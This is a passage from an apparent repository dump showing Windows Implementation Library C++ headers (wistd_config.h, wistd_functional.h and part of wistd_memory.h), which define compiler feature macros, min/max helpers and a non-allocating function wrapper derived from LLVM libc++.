__WI_LIBCPP_HAS_NO_VARIADICS\n#endif\n\n#if __has_feature(is_literal) || __WI_GNUC_VER >= 407\n#define __WI_LIBCPP_IS_LITERAL(T) __is_literal(T)\n#endif\n\n#if __has_feature(underlying_type) || __WI_GNUC_VER >= 407\n#define __WI_LIBCPP_UNDERLYING_TYPE(T) __underlying_type(T)\n#endif\n\n#if __has_feature(is_final) || __WI_GNUC_VER >= 407\n#define __WI_LIBCPP_HAS_IS_FINAL\n#endif\n\n#if __has_feature(is_base_of) || defined(__GNUC__) && __WI_GNUC_VER >= 403\n#define __WI_LIBCPP_HAS_IS_BASE_OF\n#endif\n\n#if __is_identifier(__is_aggregate) && (__WI_GNUC_VER_NEW < 7001)\n#define __WI_LIBCPP_HAS_NO_IS_AGGREGATE\n#endif\n\n#if !(__has_feature(cxx_rtti)) && !defined(__WI_LIBCPP_NO_RTTI)\n#define __WI_LIBCPP_NO_RTTI\n#endif\n\n#if !(__has_feature(cxx_variable_templates))\n#define __WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES\n#endif\n\n#if !(__has_feature(cxx_relaxed_constexpr))\n#define __WI_LIBCPP_HAS_NO_CXX14_CONSTEXPR\n#endif\n\n#if !__has_builtin(__builtin_addressof) && _GNUC_VER < 700\n#define __WI_LIBCPP_HAS_NO_BUILTIN_ADDRESSOF\n#endif\n\n#if __has_attribute(__no_sanitize__) && !defined(__WI_LIBCPP_COMPILER_GCC)\n# define __WI_LIBCPP_NO_CFI __attribute__((__no_sanitize__(\"cfi\")))\n#else\n# define __WI_LIBCPP_NO_CFI\n#endif\n\n#define __WI_LIBCPP_ALWAYS_INLINE __attribute__ ((__always_inline__))\n\n#if __has_attribute(internal_linkage)\n# define __WI_LIBCPP_INTERNAL_LINKAGE __attribute__ ((internal_linkage))\n#else\n# define __WI_LIBCPP_INTERNAL_LINKAGE __WI_LIBCPP_ALWAYS_INLINE\n#endif\n\n#else\n\n// NOTE: Much of the following assumes a decently recent version of MSVC. Past versions can be supported, but will need\n// to be updated to contain the proper _MSC_VER check\n#define __WI_ALIGNAS_TYPE(x) alignas(x)\n#define __WI_ALIGNAS(x) alignas(x)\n#define __alignof__ __alignof\n\n#define __WI_LIBCPP_EXPLICIT explicit\n#define __WI_LIBCPP_NORETURN [[noreturn]]\n#define __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS __pragma(warning(suppress:26495))\n#define __WI_LIBCPP_SUPPRESS_NOEXCEPT_ANALYSIS __pragma(warning(suppress:26439))\n\n\n#if __WI_LIBCPP_STD_VER > 14\n#define __WI_LIBCPP_NODISCARD_ATTRIBUTE [[nodiscard]]\n#else\n#define __WI_LIBCPP_NODISCARD_ATTRIBUTE _Check_return_\n#endif\n\n#define __WI_HAS_FEATURE_IS_UNION 1\n#define __WI_HAS_FEATURE_IS_CLASS 1\n#define __WI_HAS_FEATURE_IS_ENUM 1\n#define __WI_HAS_FEATURE_IS_CONVERTIBLE_TO 1\n#define __WI_HAS_FEATURE_IS_EMPTY 1\n#define __WI_HAS_FEATURE_IS_POLYMORPHIC 1\n#define __WI_HAS_FEATURE_HAS_VIRTUAL_DESTRUCTOR 1\n#define __WI_LIBCPP_HAS_UNIQUE_OBJECT_REPRESENTATIONS 1\n#define __WI_HAS_FEATURE_REFERENCE_QUALIFIED_FUNCTIONS 1\n#define __WI_HAS_FEATURE_IS_CONSTRUCTIBLE 1\n#define __WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE 1\n#define __WI_HAS_FEATURE_IS_TRIVIALLY_ASSIGNABLE 1\n#define __WI_HAS_FEATURE_HAS_TRIVIAL_DESTRUCTOR 1\n#define __WI_HAS_FEATURE_NOEXCEPT 1\n#define __WI_HAS_FEATURE_IS_POD 1\n#define __WI_HAS_FEATURE_IS_STANDARD_LAYOUT 1\n#define __WI_HAS_FEATURE_IS_TRIVIALLY_COPYABLE 1\n#define __WI_HAS_FEATURE_IS_TRIVIAL 1\n#define __WI_HAS_FEATURE_HAS_TRIVIAL_CONSTRUCTOR 1\n#define __WI_HAS_FEATURE_HAS_NOTHROW_CONSTRUCTOR 1\n#define __WI_HAS_FEATURE_HAS_NOTHROW_COPY 1\n#define __WI_HAS_FEATURE_HAS_NOTHROW_ASSIGN 1\n#define __WI_HAS_FEATURE_IS_DESTRUCTIBLE 1\n\n#if !defined(_CPPRTTI) && !defined(__WI_LIBCPP_NO_RTTI)\n#define __WI_LIBCPP_NO_RTTI\n#endif\n\n#define __WI_LIBCPP_IS_LITERAL(T) __is_literal_type(T)\n#define __WI_LIBCPP_UNDERLYING_TYPE(T) __underlying_type(T)\n#define __WI_LIBCPP_HAS_IS_FINAL\n#define __WI_LIBCPP_HAS_IS_BASE_OF\n\n#if __WI_LIBCPP_STD_VER < 14\n#define __WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES\n#endif\n\n#define __WI_LIBCPP_HAS_NO_BUILTIN_ADDRESSOF\n#define __WI_LIBCPP_NO_CFI\n\n#define __WI_LIBCPP_ALWAYS_INLINE __forceinline\n#define __WI_LIBCPP_INTERNAL_LINKAGE\n\n#endif\n\n#ifndef _WIN32\n\n#ifdef __LITTLE_ENDIAN__\n# if __LITTLE_ENDIAN__\n# define __WI_LIBCPP_LITTLE_ENDIAN\n# endif // __LITTLE_ENDIAN__\n#endif // __LITTLE_ENDIAN__\n\n#ifdef __BIG_ENDIAN__\n# if __BIG_ENDIAN__\n# define __WI_LIBCPP_BIG_ENDIAN\n# endif // __BIG_ENDIAN__\n#endif // __BIG_ENDIAN__\n\n#ifdef __BYTE_ORDER__\n# if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n# define __WI_LIBCPP_LITTLE_ENDIAN\n# elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n# define __WI_LIBCPP_BIG_ENDIAN\n# endif // __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n#endif // __BYTE_ORDER__\n\n#if !defined(__WI_LIBCPP_LITTLE_ENDIAN) && !defined(__WI_LIBCPP_BIG_ENDIAN)\n# include \n# if __BYTE_ORDER == __LITTLE_ENDIAN\n# define __WI_LIBCPP_LITTLE_ENDIAN\n# elif __BYTE_ORDER == __BIG_ENDIAN\n# define __WI_LIBCPP_BIG_ENDIAN\n# else // __BYTE_ORDER == __BIG_ENDIAN\n# error unable to determine endian\n# endif\n#endif // !defined(__WI_LIBCPP_LITTLE_ENDIAN) && !defined(__WI_LIBCPP_BIG_ENDIAN)\n\n#else // _WIN32\n\n#define __WI_LIBCPP_LITTLE_ENDIAN\n\n#endif // _WIN32\n\n#ifdef __WI_LIBCPP_HAS_NO_CONSTEXPR\n# define __WI_LIBCPP_CONSTEXPR\n#else\n# define __WI_LIBCPP_CONSTEXPR constexpr\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_CXX14_CONSTEXPR)\n# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 constexpr\n#else\n# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n#endif\n\n#if __WI_LIBCPP_STD_VER > 14 && !defined(__WI_LIBCPP_HAS_NO_CXX14_CONSTEXPR)\n# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX14 constexpr\n#else\n# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX14\n#endif\n\n#if __WI_LIBCPP_STD_VER > 17 && !defined(__WI_LIBCPP_HAS_NO_CXX14_CONSTEXPR)\n# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX17 constexpr\n#else\n# define __WI_LIBCPP_CONSTEXPR_AFTER_CXX17\n#endif\n\n#if !defined(__WI_LIBCPP_DISABLE_NODISCARD_AFTER_CXX17) && \\\n (__WI_LIBCPP_STD_VER > 17 || defined(__WI_LIBCPP_ENABLE_NODISCARD))\n# define __WI_LIBCPP_NODISCARD_AFTER_CXX17 __WI_LIBCPP_NODISCARD_ATTRIBUTE\n#else\n# define __WI_LIBCPP_NODISCARD_AFTER_CXX17\n#endif\n\n#if __WI_LIBCPP_STD_VER > 14 && defined(__cpp_inline_variables) && (__cpp_inline_variables >= 201606L)\n# define __WI_LIBCPP_INLINE_VAR inline\n#else\n# define __WI_LIBCPP_INLINE_VAR\n#endif\n\n#ifdef __WI_LIBCPP_CXX03_LANG\n#define __WI_LIBCPP_HAS_NO_UNICODE_CHARS\n#define __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n#endif\n\n#ifndef __SIZEOF_INT128__\n#define __WI_LIBCPP_HAS_NO_INT128\n#endif\n\n#if !__WI_HAS_FEATURE_NOEXCEPT && !defined(__WI_LIBCPP_HAS_NO_NOEXCEPT)\n#define __WI_LIBCPP_HAS_NO_NOEXCEPT\n#endif\n\n#ifndef __WI_LIBCPP_HAS_NO_NOEXCEPT\n# define WI_NOEXCEPT noexcept\n# define __WI_NOEXCEPT_(x) noexcept(x)\n#else\n# define WI_NOEXCEPT throw()\n# define __WI_NOEXCEPT_(x)\n#endif\n\n#if defined(__WI_LIBCPP_OBJECT_FORMAT_COFF)\n#define __WI_LIBCPP_HIDDEN\n#define __WI_LIBCPP_TEMPLATE_VIS\n#endif // defined(__WI_LIBCPP_OBJECT_FORMAT_COFF)\n\n#ifndef __WI_LIBCPP_HIDDEN\n# if !defined(__WI_LIBCPP_DISABLE_VISIBILITY_ANNOTATIONS)\n# define __WI_LIBCPP_HIDDEN __attribute__ ((__visibility__(\"hidden\")))\n# else\n# define __WI_LIBCPP_HIDDEN\n# endif\n#endif\n\n#ifndef __WI_LIBCPP_TEMPLATE_VIS\n# if !defined(__WI_LIBCPP_DISABLE_VISIBILITY_ANNOTATIONS) && !defined(__WI_LIBCPP_COMPILER_MSVC)\n# if __has_attribute(__type_visibility__)\n# define __WI_LIBCPP_TEMPLATE_VIS __attribute__ ((__type_visibility__(\"default\")))\n# else\n# define __WI_LIBCPP_TEMPLATE_VIS __attribute__ ((__visibility__(\"default\")))\n# endif\n# else\n# define __WI_LIBCPP_TEMPLATE_VIS\n# endif\n#endif\n\n#define __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_HIDDEN __WI_LIBCPP_INTERNAL_LINKAGE\n\nnamespace wistd // (\"Windows Implementation\" std)\n{\n typedef decltype(__nullptr) nullptr_t;\n\n template \n struct __less\n {\n __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n bool operator()(const _T1& __x, const _T1& __y) const {return __x < __y;}\n\n __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n bool operator()(const _T1& __x, const _T2& __y) const {return __x < __y;}\n\n __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n bool operator()(const _T2& __x, const _T1& __y) const {return __x < __y;}\n\n __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n bool operator()(const _T2& __x, const _T2& __y) const {return __x < __y;}\n };\n\n template \n struct __less<_T1, _T1>\n {\n __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n bool operator()(const _T1& __x, const _T1& __y) const {return __x < __y;}\n };\n\n template \n struct __less\n {\n __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n bool operator()(const _T1& __x, const _T1& __y) const {return __x < __y;}\n };\n\n template \n struct __less<_T1, const _T1>\n {\n __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n bool operator()(const _T1& __x, const _T1& __y) const {return __x < __y;}\n };\n\n // These are added to wistd to enable use of min/max without having to use the windows.h min/max\n // macros that some clients might not have access to. Note: the STL versions of these have debug\n // checking for the less than operator and support for iterators that these implementations lack.\n // Use the STL versions when you require use of those features.\n\n // min\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n const _Tp&\n (min)(const _Tp& __a, const _Tp& __b, _Compare __comp)\n {\n return __comp(__b, __a) ? __b : __a;\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n const _Tp&\n (min)(const _Tp& __a, const _Tp& __b)\n {\n return (min)(__a, __b, __less<_Tp>());\n }\n\n // max\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n const _Tp&\n (max)(const _Tp& __a, const _Tp& __b, _Compare __comp)\n {\n return __comp(__a, __b) ? __b : __a;\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX11\n const _Tp&\n (max)(const _Tp& __a, const _Tp& __b)\n {\n return (max)(__a, __b, __less<_Tp>());\n }\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS unary_function\n {\n typedef _Arg argument_type;\n typedef _Result result_type;\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS binary_function\n {\n typedef _Arg1 first_argument_type;\n typedef _Arg2 second_argument_type;\n typedef _Result result_type;\n };\n}\n/// @endcond\n\n#endif _WISTD_CONFIG_H_\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/wistd_functional.h", "content": "// -*- C++ -*-\n//===------------------------ functional ----------------------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is dual licensed under the MIT and the University of Illinois Open\n// Source Licenses. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n// STL common functionality\n//\n// Some aspects of STL are core language concepts that should be used from all C++ code, regardless\n// of whether exceptions are enabled in the component. Common library code that expects to be used\n// from exception-free components want these concepts, but including STL headers directly introduces\n// friction as it requires components not using STL to declare their STL version. Doing so creates\n// ambiguity around whether STL use is safe in a particular component and implicitly brings in\n// a long list of headers (including ) which can create further ambiguity around throwing new\n// support (some routines pulled in may expect it). Secondarily, pulling in these headers also has\n// the potential to create naming conflicts or other implied dependencies.\n//\n// To promote the use of these core language concepts outside of STL-based binaries, this file is\n// selectively pulling those concepts *directly* from corresponding STL headers. The corresponding\n// \"std::\" namespace STL functions and types should be preferred over these in code that is bound to\n// STL. The implementation and naming of all functions are taken directly from STL, instead using\n// \"wistd\" (Windows Implementation std) as the namespace.\n//\n// Routines in this namespace should always be considered a reflection of the *current* STL implementation\n// of those routines. Updates from STL should be taken, but no \"bugs\" should be fixed here.\n//\n// New, exception-based code should not use this namespace, but instead should prefer the std:: implementation.\n// Only code that is not exception-based and libraries that expect to be utilized across both exception\n// and non-exception based code should utilize this functionality.\n\n#ifndef _WISTD_FUNCTIONAL_H_\n#define _WISTD_FUNCTIONAL_H_\n\n// DO NOT add *any* additional includes to this file -- there should be no dependencies from its usage\n#include \"wistd_memory.h\"\n#include // For __fastfail\n#include // For placement new\n\n#if !defined(__WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER)\n#pragma GCC system_header\n#endif\n\n#pragma warning(push)\n#pragma warning(disable: 4324)\n#pragma warning(disable: 4800)\n\n/// @cond\nnamespace wistd // (\"Windows Implementation\" std)\n{\n // wistd::function\n //\n // All of the code below is in direct support of wistd::function. This class is identical to std::function\n // with the following exceptions:\n //\n // 1) It never allocates and is safe to use from exception-free code (custom allocators are not supported)\n // 2) It's slightly bigger on the stack (64 bytes, rather than 24 for 32bit)\n // 3) There is an explicit static-assert if a lambda becomes too large to hold in the internal buffer (rather than an allocation)\n\n template \n struct __invoke_void_return_wrapper\n {\n#ifndef __WI_LIBCPP_CXX03_LANG\n template \n static _Ret __call(_Args&&... __args) {\n return __invoke(wistd::forward<_Args>(__args)...);\n }\n#else\n template \n static _Ret __call(_Fn __f) {\n return __invoke(__f);\n }\n\n template \n static _Ret __call(_Fn __f, _A0& __a0) {\n return __invoke(__f, __a0);\n }\n\n template \n static _Ret __call(_Fn __f, _A0& __a0, _A1& __a1) {\n return __invoke(__f, __a0, __a1);\n }\n\n template \n static _Ret __call(_Fn __f, _A0& __a0, _A1& __a1, _A2& __a2){\n return __invoke(__f, __a0, __a1, __a2);\n }\n#endif\n };\n\n template <>\n struct __invoke_void_return_wrapper\n {\n#ifndef __WI_LIBCPP_CXX03_LANG\n template \n static void __call(_Args&&... __args) {\n (void)__invoke(wistd::forward<_Args>(__args)...);\n }\n#else\n template \n static void __call(_Fn __f) {\n __invoke(__f);\n }\n\n template \n static void __call(_Fn __f, _A0& __a0) {\n __invoke(__f, __a0);\n }\n\n template \n static void __call(_Fn __f, _A0& __a0, _A1& __a1) {\n __invoke(__f, __a0, __a1);\n }\n\n template \n static void __call(_Fn __f, _A0& __a0, _A1& __a1, _A2& __a2) {\n __invoke(__f, __a0, __a1, __a2);\n }\n#endif\n };\n\n ////////////////////////////////////////////////////////////////////////////////\n // FUNCTION\n //==============================================================================\n\n // bad_function_call\n\n __WI_LIBCPP_NORETURN inline __WI_LIBCPP_INLINE_VISIBILITY\n void __throw_bad_function_call()\n {\n __fastfail(7); // FAST_FAIL_FATAL_APP_EXIT\n }\n\n template class __WI_LIBCPP_TEMPLATE_VIS function; // undefined\n\n namespace __function\n {\n\n template\n struct __maybe_derive_from_unary_function\n {\n };\n\n template\n struct __maybe_derive_from_unary_function<_Rp(_A1)>\n : public unary_function<_A1, _Rp>\n {\n };\n\n template\n struct __maybe_derive_from_binary_function\n {\n };\n\n template\n struct __maybe_derive_from_binary_function<_Rp(_A1, _A2)>\n : public binary_function<_A1, _A2, _Rp>\n {\n };\n\n template \n __WI_LIBCPP_INLINE_VISIBILITY\n bool __not_null(_Fp const&) { return true; }\n\n template \n __WI_LIBCPP_INLINE_VISIBILITY\n bool __not_null(_Fp* __ptr) { return __ptr; }\n\n template \n __WI_LIBCPP_INLINE_VISIBILITY\n bool __not_null(_Ret _Class::*__ptr) { return __ptr; }\n\n template \n __WI_LIBCPP_INLINE_VISIBILITY\n bool __not_null(function<_Fp> const& __f) { return !!__f; }\n\n } // namespace __function\n\n#ifndef __WI_LIBCPP_CXX03_LANG\n\n namespace __function {\n\n template class __base;\n\n template\n class __base<_Rp(_ArgTypes...)>\n {\n __base(const __base&);\n __base& operator=(const __base&);\n public:\n __WI_LIBCPP_INLINE_VISIBILITY __base() {}\n __WI_LIBCPP_INLINE_VISIBILITY virtual ~__base() {}\n virtual void __clone(__base*) const = 0;\n virtual void __move(__base*) = 0;\n virtual void destroy() WI_NOEXCEPT = 0;\n virtual _Rp operator()(_ArgTypes&& ...) = 0;\n };\n\n template class __func;\n\n template\n class __func<_Fp, _Rp(_ArgTypes...)>\n : public __base<_Rp(_ArgTypes...)>\n {\n _Fp __f_;\n public:\n __WI_LIBCPP_INLINE_VISIBILITY\n explicit __func(_Fp&& __f)\n : __f_(wistd::move(__f)) {}\n\n __WI_LIBCPP_INLINE_VISIBILITY\n explicit __func(const _Fp& __f)\n : __f_(__f) {}\n\n virtual void __clone(__base<_Rp(_ArgTypes...)>*) const;\n virtual void __move(__base<_Rp(_ArgTypes...)>*);\n virtual void destroy() WI_NOEXCEPT;\n virtual _Rp operator()(_ArgTypes&& ... __arg);\n };\n\n template\n void\n __func<_Fp, _Rp(_ArgTypes...)>::__clone(__base<_Rp(_ArgTypes...)>* __p) const\n {\n ::new (__p) __func(__f_);\n }\n\n template\n void\n __func<_Fp, _Rp(_ArgTypes...)>::__move(__base<_Rp(_ArgTypes...)>* __p)\n {\n ::new (__p) __func(wistd::move(__f_));\n }\n\n template\n void\n __func<_Fp, _Rp(_ArgTypes...)>::destroy() WI_NOEXCEPT\n {\n __f_.~_Fp();\n }\n\n template\n _Rp\n __func<_Fp, _Rp(_ArgTypes...)>::operator()(_ArgTypes&& ... __arg)\n {\n typedef __invoke_void_return_wrapper<_Rp> _Invoker;\n return _Invoker::__call(__f_, wistd::forward<_ArgTypes>(__arg)...);\n }\n\n } // __function\n\n template\n class __WI_LIBCPP_TEMPLATE_VIS function<_Rp(_ArgTypes...)>\n : public __function::__maybe_derive_from_unary_function<_Rp(_ArgTypes...)>,\n public __function::__maybe_derive_from_binary_function<_Rp(_ArgTypes...)>\n {\n // 'wistd::function' is most similar to 'inplace_function' in that it _only_ permits holding function objects\n // that can fit within its internal buffer. Therefore, we expand this size to accommodate space for at least 12\n // pointers (__base vtable takes an additional one).\n static constexpr size_t __buffer_size = 13 * sizeof(void*);\n\n typedef __function::__base<_Rp(_ArgTypes...)> __base;\n __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS\n typename aligned_storage<__buffer_size>::type __buf_;\n __base* __f_;\n\n __WI_LIBCPP_NO_CFI static __base *__as_base(void *p) {\n return reinterpret_cast<__base*>(p);\n }\n\n template \n struct __callable_imp\n {\n static const bool value = is_same::value ||\n is_convertible::type,\n _Rp>::value;\n };\n\n template \n struct __callable_imp<_Fp, false>\n {\n static const bool value = false;\n };\n\n template \n struct __callable\n {\n static const bool value = __callable_imp<_Fp, __lazy_and<\n integral_constant, function>::value>,\n __invokable<_Fp&, _ArgTypes...>\n >::value>::value;\n };\n\n template \n using _EnableIfCallable = typename enable_if<__callable<_Fp>::value>::type;\n public:\n typedef _Rp result_type;\n\n // construct/copy/destroy:\n __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS\n function() WI_NOEXCEPT : __f_(0) {}\n __WI_LIBCPP_INLINE_VISIBILITY\n function(nullptr_t) WI_NOEXCEPT : __f_(0) {}\n function(const function&);\n function(function&&);\n template>\n function(_Fp);\n\n function& operator=(const function&);\n function& operator=(function&&);\n function& operator=(nullptr_t) WI_NOEXCEPT;\n template>\n function& operator=(_Fp&&);\n\n ~function();\n\n // function modifiers:\n void swap(function&);\n\n // function capacity:\n __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_EXPLICIT operator bool() const WI_NOEXCEPT {return __f_;}\n\n // deleted overloads close possible hole in the type system\n template\n bool operator==(const function<_R2(_ArgTypes2...)>&) const = delete;\n template\n bool operator!=(const function<_R2(_ArgTypes2...)>&) const = delete;\n public:\n // function invocation:\n _Rp operator()(_ArgTypes...) const;\n\n // NOTE: type_info is very compiler specific, and on top of that, we're operating in a namespace other than\n // 'std' so all functions requiring RTTI have been removed\n };\n\n template\n __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS\n function<_Rp(_ArgTypes...)>::function(const function& __f)\n {\n if (__f.__f_ == 0)\n __f_ = 0;\n else\n {\n __f_ = __as_base(&__buf_);\n __f.__f_->__clone(__f_);\n }\n }\n\n template\n __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS __WI_LIBCPP_SUPPRESS_NOEXCEPT_ANALYSIS\n function<_Rp(_ArgTypes...)>::function(function&& __f)\n {\n if (__f.__f_ == 0)\n __f_ = 0;\n else\n {\n __f_ = __as_base(&__buf_);\n __f.__f_->__move(__f_);\n __f.__f_->destroy();\n __f.__f_ = 0;\n }\n }\n\n template\n template \n __WI_LIBCPP_SUPPRESS_NONINIT_ANALYSIS\n function<_Rp(_ArgTypes...)>::function(_Fp __f)\n : __f_(0)\n {\n if (__function::__not_null(__f))\n {\n typedef __function::__func<_Fp, _Rp(_ArgTypes...)> _FF;\n static_assert(sizeof(_FF) <= sizeof(__buf_),\n \"The sizeof(wistd::function) has grown too large for the reserved buffer (12 pointers). Refactor to reduce size of the capture.\");\n __f_ = ::new((void*)&__buf_) _FF(wistd::move(__f));\n }\n }\n\n template\n function<_Rp(_ArgTypes...)>&\n function<_Rp(_ArgTypes...)>::operator=(const function& __f)\n {\n *this = nullptr;\n if (__f.__f_)\n {\n __f_ = __as_base(&__buf_);\n __f.__f_->__clone(__f_);\n }\n return *this;\n }\n\n template\n function<_Rp(_ArgTypes...)>&\n function<_Rp(_ArgTypes...)>::operator=(function&& __f)\n {\n *this = nullptr;\n if (__f.__f_)\n {\n __f_ = __as_base(&__buf_);\n __f.__f_->__move(__f_);\n __f.__f_->destroy();\n __f.__f_ = 0;\n }\n return *this;\n }\n\n template\n function<_Rp(_ArgTypes...)>&\n function<_Rp(_ArgTypes...)>::operator=(nullptr_t) WI_NOEXCEPT\n {\n __base* __t = __f_;\n __f_ = 0;\n if (__t)\n __t->destroy();\n return *this;\n }\n\n template\n template \n function<_Rp(_ArgTypes...)>&\n function<_Rp(_ArgTypes...)>::operator=(_Fp&& __f)\n {\n *this = nullptr;\n if (__function::__not_null(__f))\n {\n typedef __function::__func::type, _Rp(_ArgTypes...)> _FF;\n static_assert(sizeof(_FF) <= sizeof(__buf_),\n \"The sizeof(wistd::function) has grown too large for the reserved buffer (12 pointers). Refactor to reduce size of the capture.\");\n __f_ = ::new((void*)&__buf_) _FF(wistd::move(__f));\n }\n\n return *this;\n }\n\n template\n function<_Rp(_ArgTypes...)>::~function()\n {\n if (__f_)\n __f_->destroy();\n }\n\n template\n void\n function<_Rp(_ArgTypes...)>::swap(function& __f)\n {\n if (wistd::addressof(__f) == this)\n return;\n if (__f_ && __f.__f_)\n {\n typename aligned_storage::type __tempbuf;\n __base* __t = __as_base(&__tempbuf);\n __f_->__move(__t);\n __f_->destroy();\n __f_ = 0;\n __f.__f_->__move(__as_base(&__buf_));\n __f.__f_->destroy();\n __f.__f_ = 0;\n __f_ = __as_base(&__buf_);\n __t->__move(__as_base(&__f.__buf_));\n __t->destroy();\n __f.__f_ = __as_base(&__f.__buf_);\n }\n else if (__f_)\n {\n __f_->__move(__as_base(&__f.__buf_));\n __f_->destroy();\n __f_ = 0;\n __f.__f_ = __as_base(&__f.__buf_);\n }\n else if (__f.__f_)\n {\n __f.__f_->__move(__as_base(&__buf_));\n __f.__f_->destroy();\n __f.__f_ = 0;\n __f_ = __as_base(&__buf_);\n }\n }\n\n template\n _Rp\n function<_Rp(_ArgTypes...)>::operator()(_ArgTypes... __arg) const\n {\n if (__f_ == 0)\n __throw_bad_function_call();\n return (*__f_)(wistd::forward<_ArgTypes>(__arg)...);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator==(const function<_Rp(_ArgTypes...)>& __f, nullptr_t) WI_NOEXCEPT {return !__f;}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator==(nullptr_t, const function<_Rp(_ArgTypes...)>& __f) WI_NOEXCEPT {return !__f;}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator!=(const function<_Rp(_ArgTypes...)>& __f, nullptr_t) WI_NOEXCEPT {return (bool)__f;}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator!=(nullptr_t, const function<_Rp(_ArgTypes...)>& __f) WI_NOEXCEPT {return (bool)__f;}\n\n // Provide both 'swap_wil' and 'swap' since we now have two ADL scenarios that we need to work\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n void\n swap(function<_Rp(_ArgTypes...)>& __x, function<_Rp(_ArgTypes...)>& __y)\n {return __x.swap(__y);}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n void\n swap_wil(function<_Rp(_ArgTypes...)>& __x, function<_Rp(_ArgTypes...)>& __y)\n {return __x.swap(__y);}\n\n // std::invoke\n template \n typename __invoke_of<_Fn, _Args...>::type\n invoke(_Fn&& __f, _Args&&... __args)\n __WI_NOEXCEPT_((__nothrow_invokable<_Fn, _Args...>::value))\n {\n return wistd::__invoke(wistd::forward<_Fn>(__f), wistd::forward<_Args>(__args)...);\n }\n\n#else // __WI_LIBCPP_CXX03_LANG\n\n#error wistd::function and wistd::invoke not implemented for pre-C++11\n\n#endif\n}\n/// @endcond\n\n#pragma warning(pop)\n\n#endif // _WISTD_FUNCTIONAL_H_\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/wistd_memory.h", "content": "// -*- C++ -*-\n//===-------------------------- memory ------------------------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is dual licensed under the MIT and the University of Illinois Open\n// Source Licenses. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n// STL common functionality\n//\n// Some aspects of STL are core language concepts that should be used from all C++ code, regardless\n// of whether exceptions are enabled in the component. Common library code that expects to be used\n// from exception-free components want these concepts, but including STL headers directly introduces\n// friction as it requires components not using STL to declare their STL version. Doing so creates\n// ambiguity around whether STL use is safe in a particular component and implicitly brings in\n// a long list of headers (including ) which can create further ambiguity around throwing new\n// support (some routines pulled in may expect it). Secondarily, pulling in these headers also has\n// the potential to create naming conflicts or other implied dependencies.\n//\n// To promote the use of these core language concepts outside of STL-based binaries, this file is\n// selectively pulling those concepts *directly* from corresponding STL headers. The corresponding\n// \"std::\" namespace STL functions and types should be preferred over these in code that is bound to\n// STL. The implementation and naming of all functions are taken directly from STL, instead using\n// \"wistd\" (Windows Implementation std) as the namespace.\n//\n// Routines in this namespace should always be considered a reflection of the *current* STL implementation\n// of those routines. Updates from STL should be taken, but no \"bugs\" should be fixed here.\n//\n// New, exception-based code should not use this namespace, but instead should prefer the std:: implementation.\n// Only code that is not exception-based and libraries that expect to be utilized across both exception\n// and non-exception based code should utilize this functionality.\n\n#ifndef _WISTD_MEMORY_H_\n#define _WISTD_MEMORY_H_\n\n// DO NOT add *any* additional includes to this file -- there should be no dependencies from its usage\n#include \"wistd_type_traits.h\"\n\n#if !defined(__WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER)\n#pragma GCC system_header\n#endif\n\n/// @cond\nnamespace wistd // (\"Windows Implementation\" std)\n{\n // allocator_traits\n\n template \n struct __has_pointer_type : false_type {};\n\n template \n struct __has_pointer_type<_Tp,\n typename __void_t::type> : true_type {};\n\n namespace __pointer_type_imp\n {\n\n template ::value>\n struct __pointer_type\n {\n 